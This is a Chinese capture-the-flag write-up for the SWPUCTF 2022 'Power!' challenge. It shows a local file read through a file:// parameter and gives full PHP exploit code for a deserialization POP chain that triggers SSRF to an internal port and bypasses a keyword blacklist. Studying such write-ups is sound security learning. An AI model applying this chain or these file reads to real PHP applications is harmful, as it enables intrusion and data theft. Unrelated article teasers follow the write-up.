NSS [SWPUCTF 2022 新生赛]Power!

NSS [SWPUCTF 2022 新生赛]Power!

开题。

image-20230930213327255

随便传一个111,后端进行了一个文件包含操作。

image-20230930213417045

输入index.php,回显了一个不可显示图片。

image-20230930213518985

有点小蒙蔽的,一般这种情况就源码,抓包,扫描。源码里面果然有货。

image-20230930213649693

base解码后是index.php的源码,同时根据hint,直接传参?source=xxx就直接回显了源码。

image-20230930213812681

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?>

粗略一看,刚刚读取文件的功能是由以下代码实现,过滤了http: gopher: glob: php:。过滤了 gopher: 不禁让人怀疑要用到SSRF获取内网资源。

image-20230930214712172

怀疑归怀疑,我们先读取以下根目录下/flag文件和当前目录下flag.php文件,两个比较常见的存放flag文件。

?image_path=file:///var/www/html/flag.php

当前目录下flag.php文件存在。解码后是:

<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>

怀疑属实,要用到SSRF,从内网65500端口访问web目录下flag.php

回顾一下源码,源码有反序列化点并且类中有SSRF特征代码。

image-20230930220748359

image-20230930220800248

反序列化+SSRF,启动!首先找反序列化链子再找SSRF利用方式。

一、构造链子。(倒着来)

我们的结尾肯定是FileViewer::loadfile()方法,调用其中的$file = $this->curl($this->local.$this->path); curl请求任意资源。

image-20230930221943172

FileViewer::__call()方法能调用FileViewer::loadfile()方法。

image-20230930222036608

Backdoor::__destruct()方法能调用FileViewer::__call()方法。

image-20230930222131463

最终链子是:

Backdoor::__destruct()->
FileViewer::__call()->
FileViewer::loadfile()

二、如何利用SSRF请求内网资源127.0.0.1:65500/flag.php

我们有两个阻碍,一是黑名单过滤,二是__wakeup()魔术方法。

黑名单过滤很好过。我们请求的地址是$this->local.$this->path拼接而成,但是只对$this->path过滤了字符串/flag,我们使$this->local=127.0.0.1:65500/f以及$this->path=lag.php即可绕过过滤。

__wakeup()魔术方法其实根本不用绕过,FileViewer实例对象被反序列化后立刻执行__wakeup()魔术方法,但是在Backdoor::__destruct()方法中可以对FileViewer->path重新赋值。这个顺序搞明白了就发现__wakeup()魔术方法根本限制不了我们。

1


我一开始的EXP是这样的:
image-20230930225226788

成功导致题目报错:

image-20230930225250561

这是由于反序列化后立马调用了loadfile()方法,而我们反序列化传进去的是Backdoor类实例对象,没有这个方法。

image-20230930225416113

反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,外部类。
外部类属性数量不一致,外部类直接被当成垃圾回收,而内部类正常。

基于以上原理我们,我们再new一个FileViewer类实例对象,把我们EXP构造的Backdoor类实例对象随意赋值给新new的FileViewer类实例对象的任意属性就行。

当然也可以基于以上方法更进一步,用GC回收机制,payload在base64编码前自己破坏掉一点,使得外部类(新new的FileViewer类实例对象)直接无效被回收,内部类(Backdoor类实例对象)正常反序列化被运作getflag。

EXP:

<?php

class FileViewer{
    public $black_list = "flag";
    public $local = "http://127.0.0.1/";
    public $path;
    public function __call($f,$a){
        $this->loadfile();
    }
    public function loadfile(){
        if(!is_array($this->path)){
            if(preg_match("/".$this->black_list."/i",$this->path)){
                $file = $this->curl($this->local."cheems.jpg");
            }else{                                                      //$this->path不包含字符串"flag"
                $file = $this->curl($this->local.$this->path);
            }
        }else{
            $file = $this->curl($this->local."cheems.jpg");
        }
        echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
    }
    public function curl($path){
        $url = $path;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 0);
        $response = curl_exec($curl);
        curl_close($curl);
        return $response;
    }
    public function __wakeup(){
        $this->local = "http://127.0.0.1/";
    }
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker = "hacker.jpg";
    public function goodman($i,$j){
        $i->$j = $this->superhacker;
    }
    public function __destruct(){
        $this->goodman($this->a,$this->b);
        $this->a->c();
    }
}

//--------------【以上都是一模一样CV,不用管,没有改】---------------------------

$file=new FileViewer();
$back=new Backdoor();

$back->a=$file;
$back->b="local";
$back->superhacker="127.0.0.1:65500/f";

$back->a->path="lag.php";

$a=new FileViewer();
$a->local=$back;

echo base64_encode(serialize($a));

image-20230930225921320

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/469391.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙开发入门教程—瀑布流的实战案例

给大家分享一下瀑布流的实战案例&#xff0c;和官方文档略有不同&#xff0c;本文数据直接从api接口获取&#xff0c;更接近实战。需要注意的是&#xff0c;要实现瀑布流&#xff0c;接口最好将图片尺寸一起返回。 本文效果图&#xff1a; 首先要实现IDataSource接口的对象&am…

golang面试题总结

零、go与其他语言 0、什么是面向对象 在了解 Go 语言是不是面向对象&#xff08;简称&#xff1a;OOP&#xff09; 之前&#xff0c;我们必须先知道 OOP 是啥&#xff0c;得先给他 “下定义” 根据 Wikipedia 的定义&#xff0c;我们梳理出 OOP 的几个基本认知&#xff1a; …

Qt 实现 Asterix 报文解析库

【写在前面】 最近工作中需要解析 Cat 21 和 Cat 62 的 ADS-B 数据 ( 自己的工作包含航空领域 )。 然后&#xff0c;因为整个 Asterix 协议类别非常之多&#xff0c;每个类别的版本也多&#xff0c;纯手工实现每个版本解析根本不现实 ( 然鹅公司之前的解析库就是这么做的且做的…

VMware 与 SmartX 分布式存储缓存机制浅析与性能对比

作者&#xff1a;深入细节的 SmartX 一线技术团队 近日&#xff0c;VMware 发布了 vSAN 8&#xff0c;对存储架构进行了重大更新。其中最主要的变化&#xff0c;即引入了新的 Express Storage Architecture&#xff08;ESA&#xff09;架构&#xff1a;用“存储池”替代了原存…

使用Kalibr標定vins參數

這裏使用的是realsense D435&#xff0c;使用其灰階雙目的部分&#xff08;把中間红外点阵投影仪遮住應該可以取得更好的效果&#xff09;&#xff0c;廠商有給相機的標定&#xff0c;但由於Kalibr裏可以直接標定相機和imu的相對位置&#xff0c;是vins需要的參數&#xff0c;比…

MySQL数据库概念及安装

一、数据库的基本概率 1.1 数据 记录每个人的信息 或者记录数据 1.2 表 存放信息的集合 或者存放行和列的信息 1.3 数据库 表的集合 二、数据库管理系统&#xff08;DBMS&#xff09; 2.1 DBMS定义 &#xff08;DBMS&#xff09;是一种软件&#xff0c;用于创建和管理…

【开发环境】Ubuntu 18.04 搭建 QT编译环境详细步骤 【亲测有效】

目录 1 查看Ubuntu系统中Qt版本 2 下载Ubuntu系统Qt版本安装包 3 Qt安装 3.1 Qt 安装步骤 3.2 安装qt发现Ubuntu空间不足&#xff0c;怎么去扩容呢&#xff1f; 3.2.1 硬盘操作步骤&#xff08;需要关闭虚拟机进行操作&#xff09; 3.2.2 Ubuntu命令操作&#xff1a;安装…

Python 实现1~100之间的偶数求和

result0 for i in range(101):if i%20:result result i print(result) 或者 result0 for i in range(2,101,2):result result i print(result)

海外代理IP在跨境电商中的五大应用场景

在我国跨境电商的发展中&#xff0c;海外代理IP的应用日益广泛&#xff0c;它不仅帮助商家成功打入国际市场&#xff0c;还为他们在多变的全球电商竞争中保持优势。下面是海外代理IP在跨境电商中五个关键的应用场景。 1、精准的市场分析 了解目标市场的消费者行为、产品趋势以…

数据库系统概论-练手题集合【期末复习|考研复习】

前言 总结整理不易&#xff0c;希望大家点赞收藏。 给大家整理了一下数据库系统概论中的练手题&#xff0c;以供大家期末复习和考研复习的时候使用。 数据库系统概论系列文章传送门&#xff1a; 第一章 绪论 第二/三章 关系数据库和标准语言SQL 第四/五章 数据库安全性和完整性…

Nodejs 第五十九章(文件流下载)

文件流下载是一种通过将文件内容以流的形式发送给客户端&#xff0c;实现文件下载的方法。它适用于处理大型文件或需要实时生成文件内容的情况。 安装依赖 npm install express #启动服务 提供接口 npm install cors #解决跨域nodejs 完整版代码 核心知识响应头 Content-Ty…

考研失败, 学点Java打小工_Day3_卫语句_循环

1 编码规范——卫语句 表达异常分支时&#xff0c;少用if-else方式。   比如成绩判断中对于非法输入的处理&#xff1a; /*>90 <100 优秀>80 <90 良好>70 <80 一般>60 <70 及格<60 不及格*/Testpu…

C++作业day6

编程1&#xff1a; 封装一个动物的基类&#xff0c;类中有私有成员&#xff1a;姓名&#xff0c;颜色&#xff0c;指针成员年纪 再封装一个狗这样类&#xff0c;共有继承于动物类&#xff0c;自己拓展的私有成员有&#xff1a;指针成员&#xff1a;腿的个数&#xff08;整型 …

JVM常用垃圾收集器

JVM 4.1 哪些对象可以作为GC ROOT? 虚拟机栈&#xff08;栈帧中的局部变量表&#xff09;中引用的对象本地方法栈中引用的对象方法区静态变量引用的对象方法区常量引用的对象被同步锁持有的对象JNI&#xff08;Java Native Interface&#xff09;引用的对象 4.2 常用垃圾收集…

【C语言进阶篇】自定义类型:结构体(上)

目录 1. 结构体类型的声明 ​编辑 1.1 结构体的创建和初始化 1.2 结构体的特殊声明 1.3 结构体的自引用 2. 结构体内存对齐 2.1 对齐规则 2.2 为什么存在内存对齐 2.3 修改默认对齐数 在我们描述简单对象的时候&#xff0c;使用已有的类型就足够了&#xff0c;比如: 但是当我们…

竞争优势:大型语言模型 (LLM) 如何重新定义业务策略

人工智能在内容创作中的突破 在当今快节奏的商业环境中&#xff0c;像 GPT-4 这样的大型语言模型 (LLM) 不再只是一种技术新颖性&#xff1b; 它们已成为重新定义跨行业业务战略的基石。 从增强客户服务到推动创新&#xff0c;法学硕士提供了企业不容忽视的竞争优势。 1. 加强…

量子计算+HPC!ORNL与Riverlane、Rigetti合作研发

内容来源&#xff1a;量子前哨&#xff08;ID&#xff1a;Qforepost&#xff09; 编辑丨慕一 编译/排版丨沛贤 1000字丨8分钟阅读 近日&#xff0c;英国量子计算初创公司Riverlane和美国量子计算公司Rigetti Computing宣布将参与由美国能源部橡树岭国家实验室&#xff08;OR…

【工具】vscode终端打不开

问题 1The terminal process failed to launch: A native exception occurred during launch (forkpty(3) failed.). 参考方案 下面参考链接是针对windows系统上vscode 出现的相同问题的解答 参考链接&#xff1a;https://blog.csdn.net/weixin_40921421/article/details/122…

Linux(openEuler)部署SpringBoot前后端分离项目(Nginx负载均衡)

假如数据库在本地&#xff0c;没有放在Linux中 1.先把数据库中root的主机改成% 2.项目中的数据库链接配置换成本机ip 3.打包 4.把打包好的jar包放到Linux中 一般把jar包放到opt下 5.把前端部分拷贝到Linux的nginx中 5.1在package.json中修改build的值为图中这样 5.2同时由于在…

理论学习:with torch.no_grad()

如果不加上“with torch.no_grad():”&#xff0c;模型参数会发生改变吗&#xff1f; 如果不使用with torch.no_grad():&#xff0c;在进行模型推理&#xff08;即计算outputs_cls net(inputs[batch_size//2:])这一步&#xff09;时&#xff0c;模型参数不会发生改变&#xf…